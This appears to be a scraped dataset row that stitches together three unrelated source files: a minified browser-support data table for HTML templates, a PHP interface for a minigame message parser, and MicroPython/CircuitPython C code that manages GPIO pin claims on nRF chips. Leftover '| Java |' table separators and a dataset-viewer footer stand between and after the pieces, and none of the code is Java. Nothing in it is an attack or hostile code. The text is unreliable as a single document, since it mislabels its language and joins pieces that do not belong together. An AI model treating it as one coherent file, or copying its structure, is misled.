module.exports={A:{A:{"2":"K C G E B A WB"},B:{"2":"D","388":"u Y I M H"},C:{"1":"0 1 2 3 4 5 6 7 R S T U V W X w Z a b c d e f L h i j k l m n o p q r s t y v","2":"UB z F J K C G E B A D u Y I M H N O P Q SB RB"},D:{"1":"0 1 2 3 4 5 6 7 e f L h i j k l m n o p q r s t y v GB g DB VB EB","2":"F J K C G E B A D u Y I M H N O P Q R S T U","132":"V W X w Z a b c d"},E:{"1":"E B A KB LB MB","2":"F J K C FB AB HB","388":"G JB","514":"IB"},F:{"1":"R S T U V W X w Z a b c d e f L h i j k l m n o p q r s t","2":"8 9 E A D NB OB PB QB TB x","132":"I M H N O P Q"},G:{"1":"A bB cB dB eB","2":"AB CB BB XB YB ZB","388":"G aB"},H:{"2":"fB"},I:{"1":"g kB lB","2":"z F gB hB iB jB BB"},J:{"2":"C B"},K:{"1":"L","2":"8 9 B A D x"},L:{"1":"g"},M:{"1":"v"},N:{"2":"B A"},O:{"1":"mB"},P:{"1":"F J"},Q:{"1":"nB"},R:{"1":"oB"}},B:1,C:"HTML templates"};
| Java |
<?php
namespace MiniGameMessageApp\Parser;
use MiniGame\Entity\MiniGameId;
use MiniGame\Entity\PlayerId;
interface ParsingPlayer
{
/**
* @return PlayerId
*/
public function getPlayerId();
/**
* @return MiniGameId
*/
public function getGameId();
}
| Java |
/*
* This file is part of the MicroPython project, http://micropython.org/
*
* The MIT License (MIT)
*
* Copyright (c) 2016 Scott Shawcroft for Adafruit Industries
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
#include "shared-bindings/microcontroller/Pin.h"
#include "shared-bindings/digitalio/DigitalInOut.h"
#include "nrf_gpio.h"
#include "py/mphal.h"
#include "nrf/pins.h"
#include "supervisor/shared/rgb_led_status.h"
#ifdef MICROPY_HW_NEOPIXEL
bool neopixel_in_use;
#endif
#ifdef MICROPY_HW_APA102_MOSI
bool apa102_sck_in_use;
bool apa102_mosi_in_use;
#endif
#ifdef SPEAKER_ENABLE_PIN
bool speaker_enable_in_use;
#endif
// Bit mask of claimed pins on each of up to two ports. nrf52832 has one port; nrf52840 has two.
STATIC uint32_t claimed_pins[GPIO_COUNT];
STATIC uint32_t never_reset_pins[GPIO_COUNT];
STATIC void reset_speaker_enable_pin(void) {
#ifdef SPEAKER_ENABLE_PIN
speaker_enable_in_use = false;
nrf_gpio_cfg(SPEAKER_ENABLE_PIN->number,
NRF_GPIO_PIN_DIR_OUTPUT,
NRF_GPIO_PIN_INPUT_DISCONNECT,
NRF_GPIO_PIN_NOPULL,
NRF_GPIO_PIN_H0H1,
NRF_GPIO_PIN_NOSENSE);
nrf_gpio_pin_write(SPEAKER_ENABLE_PIN->number, false);
#endif
}
void reset_all_pins(void) {
for (size_t i = 0; i < GPIO_COUNT; i++) {
claimed_pins[i] = never_reset_pins[i];
}
for (uint32_t pin = 0; pin < NUMBER_OF_PINS; ++pin) {
if ((never_reset_pins[nrf_pin_port(pin)] & (1 << nrf_relative_pin_number(pin))) != 0) {
continue;
}
nrf_gpio_cfg_default(pin);
}
#ifdef MICROPY_HW_NEOPIXEL
neopixel_in_use = false;
#endif
#ifdef MICROPY_HW_APA102_MOSI
apa102_sck_in_use = false;
apa102_mosi_in_use = false;
#endif
// After configuring SWD because it may be shared.
reset_speaker_enable_pin();
}
// Mark pin as free and return it to a quiescent state.
void reset_pin_number(uint8_t pin_number) {
if (pin_number == NO_PIN) {
return;
}
// Clear claimed bit.
claimed_pins[nrf_pin_port(pin_number)] &= ~(1 << nrf_relative_pin_number(pin_number));
#ifdef MICROPY_HW_NEOPIXEL
if (pin_number == MICROPY_HW_NEOPIXEL->number) {
neopixel_in_use = false;
rgb_led_status_init();
return;
}
#endif
#ifdef MICROPY_HW_APA102_MOSI
if (pin_number == MICROPY_HW_APA102_MOSI->number ||
pin_number == MICROPY_HW_APA102_SCK->number) {
apa102_mosi_in_use = apa102_mosi_in_use && pin_number != MICROPY_HW_APA102_MOSI->number;
apa102_sck_in_use = apa102_sck_in_use && pin_number != MICROPY_HW_APA102_SCK->number;
if (!apa102_sck_in_use && !apa102_mosi_in_use) {
rgb_led_status_init();
}
return;
}
#endif
#ifdef SPEAKER_ENABLE_PIN
if (pin_number == SPEAKER_ENABLE_PIN->number) {
reset_speaker_enable_pin();
}
#endif
}
void never_reset_pin_number(uint8_t pin_number) {
never_reset_pins[nrf_pin_port(pin_number)] |= 1 << nrf_relative_pin_number(pin_number);
}
void common_hal_never_reset_pin(const mcu_pin_obj_t* pin) {
never_reset_pin_number(pin->number);
}
void common_hal_reset_pin(const mcu_pin_obj_t* pin) {
reset_pin_number(pin->number);
}
void claim_pin(const mcu_pin_obj_t* pin) {
// Set bit in claimed_pins bitmask.
claimed_pins[nrf_pin_port(pin->number)] |= 1 << nrf_relative_pin_number(pin->number);
#ifdef MICROPY_HW_NEOPIXEL
if (pin == MICROPY_HW_NEOPIXEL) {
neopixel_in_use = true;
}
#endif
#ifdef MICROPY_HW_APA102_MOSI
if (pin == MICROPY_HW_APA102_MOSI) {
apa102_mosi_in_use = true;
}
if (pin == MICROPY_HW_APA102_SCK) {
apa102_sck_in_use = true;
}
#endif
#ifdef SPEAKER_ENABLE_PIN
if (pin == SPEAKER_ENABLE_PIN) {
speaker_enable_in_use = true;
}
#endif
}
bool pin_number_is_free(uint8_t pin_number) {
return !(claimed_pins[nrf_pin_port(pin_number)] & (1 << nrf_relative_pin_number(pin_number)));
}
bool common_hal_mcu_pin_is_free(const mcu_pin_obj_t *pin) {
#ifdef MICROPY_HW_NEOPIXEL
if (pin == MICROPY_HW_NEOPIXEL) {
return !neopixel_in_use;
}
#endif
#ifdef MICROPY_HW_APA102_MOSI
if (pin == MICROPY_HW_APA102_MOSI) {
return !apa102_mosi_in_use;
}
if (pin == MICROPY_HW_APA102_SCK) {
return !apa102_sck_in_use;
}
#endif
#ifdef SPEAKER_ENABLE_PIN
if (pin == SPEAKER_ENABLE_PIN) {
return !speaker_enable_in_use;
}
#endif
#ifdef NRF52840
// If NFC pins are enabled for NFC, don't allow them to be used for GPIO.
if (((NRF_UICR->NFCPINS & UICR_NFCPINS_PROTECT_Msk) ==
(UICR_NFCPINS_PROTECT_NFC << UICR_NFCPINS_PROTECT_Pos)) &&
(pin->number == 9 || pin->number == 10)) {
return false;
}
#endif
return pin_number_is_free(pin->number);
}
uint8_t common_hal_mcu_pin_number(const mcu_pin_obj_t* pin) {
return pin->number;
}
void common_hal_mcu_pin_claim(const mcu_pin_obj_t* pin) {
claim_pin(pin);
}
void common_hal_mcu_pin_reset_number(uint8_t pin_no) {
reset_pin_number(pin_no);
}
| Java |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.